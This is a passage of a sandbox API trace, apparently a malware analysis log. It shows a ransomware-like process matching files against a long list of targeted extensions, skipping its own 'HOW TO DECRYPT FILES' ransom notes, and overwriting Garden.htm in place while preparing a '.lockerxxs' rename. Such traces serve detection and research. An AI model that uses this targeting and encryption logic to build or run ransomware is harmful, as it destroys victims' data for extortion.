HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.docx") returned 0 [0084.970] lstrlenA (lpString="*.docx") returned 6 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.7z") returned 0 [0084.970] lstrlenA (lpString="*.7z") returned 4 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.tar") returned 0 [0084.970] lstrlenA (lpString="*.tar") returned 5 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.bz2") returned 0 [0084.970] lstrlenA (lpString="*.bz2") returned 5 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.gz") returned 0 [0084.971] lstrlenA (lpString="*.gz") returned 4 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.mkv") returned 0 [0084.971] lstrlenA (lpString="*.mkv") returned 5 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.eml") returned 0 [0084.971] lstrlenA (lpString="*.eml") returned 5 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.msg") returned 0 [0084.971] lstrlenA (lpString="*.msg") returned 5 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.edb") returned 0 [0084.971] lstrlenA (lpString="*.edb") returned 5 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.accdb") returned 0 [0084.971] lstrlenA (lpString="*.accdb") returned 7 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.odb") returned 0 [0084.971] lstrlenA (lpString="*.odb") returned 5 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.java") returned 0 [0084.971] lstrlenA (lpString="*.java") returned 6 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.asm") returned 0 [0084.971] lstrlenA (lpString="*.asm") returned 5 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.pfx") returned 0 [0084.971] lstrlenA (lpString="*.pfx") returned 5 [0084.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.pem") returned 0 [0084.972] lstrlenA (lpString="*.pem") returned 5 [0084.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.p12") returned 0 [0084.972] lstrlenA (lpString="*.p12") returned 5 [0084.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.gpg") returned 0 [0084.972] lstrlenA (lpString="*.gpg") returned 5 [0084.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.vsd") returned 0 [0084.972] lstrlenA (lpString="*.vsd") returned 5 [0084.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.odg") returned 0 [0084.972] lstrlenA (lpString="*.odg") returned 5 [0084.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.raw") returned 0 [0084.972] lstrlenA (lpString="*.raw") returned 5 [0084.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.nef") returned 0 [0084.972] lstrlenA (lpString="*.nef") returned 5 [0084.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.svg") returned 0 [0084.972] lstrlenA (lpString="*.svg") returned 5 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.psd") returned 0 [0084.973] lstrlenA (lpString="*.psd") returned 5 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.vmx") returned 0 [0084.973] lstrlenA (lpString="*.vmx") returned 5 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.vmdk") returned 0 [0084.973] lstrlenA (lpString="*.vmdk") returned 6 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.vdi") returned 0 [0084.973] lstrlenA (lpString="*.vdi") returned 5 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.lay6") returned 0 [0084.973] lstrlenA (lpString="*.lay6") returned 6 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.mpeg") returned 0 [0084.973] lstrlenA (lpString="*.mpeg") returned 6 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.djvu") returned 0 [0084.973] lstrlenA (lpString="*.djvu") returned 6 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.tiff") returned 0 [0084.973] lstrlenA (lpString="*.tiff") returned 6 [0084.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.backup") returned 0 [0084.974] lstrlenA (lpString="*.backup") returned 8 [0084.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.pdf") returned 0 [0084.974] lstrlenA (lpString="*.pdf") returned 5 [0084.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.cert") returned 0 [0084.974] lstrlenA (lpString="*.cert") returned 6 [0084.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.docm") returned 0 [0084.974] lstrlenA (lpString="*.docm") returned 6 [0084.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.xlsm") returned 0 [0084.974] lstrlenA (lpString="*.xlsm") returned 6 [0084.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.dwg") returned 0 [0084.974] lstrlenA (lpString="*.dwg") returned 5 [0084.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.nd") returned 0 [0084.974] lstrlenA (lpString="*.nd") returned 4 [0084.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.tlg") returned 0 [0084.974] lstrlenA (lpString="*.tlg") returned 5 [0084.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.lgb") returned 0 [0084.974] lstrlenA (lpString="*.lgb") returned 5 [0084.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.mov") returned 0 [0084.975] lstrlenA (lpString="*.mov") returned 5 [0084.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.xdw") returned 0 [0084.975] lstrlenA (lpString="*.xdw") returned 5 [0084.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.ods") returned 0 [0084.975] lstrlenA (lpString="*.ods") returned 5 [0084.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.wav") returned 0 [0084.975] lstrlenA (lpString="*.wav") returned 5 [0084.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.mp3") returned 0 [0084.975] lstrlenA (lpString="*.mp3") returned 5 [0084.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.aiff") returned 0 [0084.975] lstrlenA (lpString="*.aiff") returned 6 [0084.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.flac") returned 0 [0084.975] lstrlenA (lpString="*.flac") returned 6 [0084.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.m4a") returned 0 [0084.975] lstrlenA (lpString="*.m4a") returned 5 [0084.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.csv") returned 0 [0084.976] lstrlenA (lpString="*.csv") returned 5 [0084.976] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x440020, dwReserved1=0x430045, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0084.976] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0084.976] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Garden.htm") returned -1 [0084.976] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Garden.htm") returned 1 [0084.976] lstrcmpiA (lpString1="", lpString2="Garden.htm") returned -1 [0084.976] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini") returned="Desktop.ini" [0084.976] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0084.976] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0084.976] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0084.976] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0084.976] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Garden.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" [0084.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.ems") returned 0 [0084.977] lstrlenA (lpString="*.ems") returned 5 [0084.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.db") returned 0 [0084.977] lstrlenA (lpString="*.db") returned 4 [0084.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.dbf") returned 0 [0084.977] lstrlenA (lpString="*.dbf") returned 5 [0084.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.myox") returned 0 [0084.977] lstrlenA (lpString="*.myox") returned 6 [0084.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.myo") returned 0 [0084.977] lstrlenA (lpString="*.myo") returned 5 [0084.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qbw") returned 0 [0084.977] lstrlenA (lpString="*.qbw") returned 5 [0084.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qbb") returned 0 [0084.977] lstrlenA (lpString="*.qbb") returned 5 [0084.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qbm") returned 0 [0084.978] lstrlenA (lpString="*.qbm") returned 5 [0084.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qbo") returned 0 [0084.978] lstrlenA (lpString="*.qbo") returned 5 [0084.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qbx") returned 0 [0084.978] lstrlenA (lpString="*.qbx") returned 5 [0084.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qba") returned 0 [0084.978] lstrlenA (lpString="*.qba") returned 5 [0084.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qby") returned 0 [0084.978] lstrlenA (lpString="*.qby") returned 5 [0084.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qbj") returned 0 [0084.978] lstrlenA (lpString="*.qbj") returned 5 [0084.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.ofx") returned 0 [0084.978] lstrlenA (lpString="*.ofx") returned 5 [0084.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.qif") returned 0 [0084.978] lstrlenA (lpString="*.qif") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.mye") returned 0 [0084.979] lstrlenA (lpString="*.mye") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.mbox") returned 0 [0084.979] lstrlenA (lpString="*.mbox") returned 6 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.eml") returned 0 [0084.979] lstrlenA (lpString="*.eml") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.pst") returned 0 [0084.979] lstrlenA (lpString="*.pst") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.ost") returned 0 [0084.979] lstrlenA (lpString="*.ost") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.idx") returned 0 [0084.979] lstrlenA (lpString="*.idx") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.dbx") returned 0 [0084.979] lstrlenA (lpString="*.dbx") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.sql") returned 0 [0084.979] lstrlenA (lpString="*.sql") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.mdb") returned 0 [0084.979] lstrlenA (lpString="*.mdb") returned 5 [0084.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.fdb") returned 0 [0084.980] lstrlenA (lpString="*.fdb") returned 5 [0084.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.wab") returned 0 [0084.980] lstrlenA (lpString="*.wab") returned 5 [0084.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.dat") returned 0 [0084.980] lstrlenA (lpString="*.dat") returned 5 [0084.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.txt") returned 0 [0084.980] lstrlenA (lpString="*.txt") returned 5 [0084.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.jpeg") returned 0 [0084.980] lstrlenA (lpString="*.jpeg") returned 6 [0084.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.jpg") returned 0 [0084.980] lstrlenA (lpString="*.jpg") returned 5 [0084.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.png") returned 0 [0084.980] lstrlenA (lpString="*.png") returned 5 [0084.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.php") returned 0 [0084.980] lstrlenA (lpString="*.php") returned 5 [0084.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.cs") returned 0 [0084.981] lstrlenA (lpString="*.cs") returned 4 [0084.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.cpp") returned 0 [0084.981] lstrlenA (lpString="*.cpp") returned 5 [0084.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.rar") returned 0 [0084.981] lstrlenA (lpString="*.rar") returned 5 [0084.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.zip") returned 0 [0084.981] lstrlenA (lpString="*.zip") returned 5 [0084.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.html") returned 0 [0084.981] lstrlenA (lpString="*.html") returned 6 [0084.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", pszSpec="*.htm") returned 1 [0084.981] lstrlenA (lpString="*.htm") returned 5 [0084.981] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" [0084.981] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" [0084.981] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm." [0084.981] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.lockerxxs" [0084.981] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0084.982] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe7 [0084.982] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce04b5c8, dwHighDateTime=0x1ca040d)) returned 1 [0084.983] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.983] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc1, lpOverlapped=0x0) returned 1 [0084.984] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned="Garden.htm" [0084.984] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.984] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc1, lpOverlapped=0x0) returned 1 [0084.985] SetFileTime 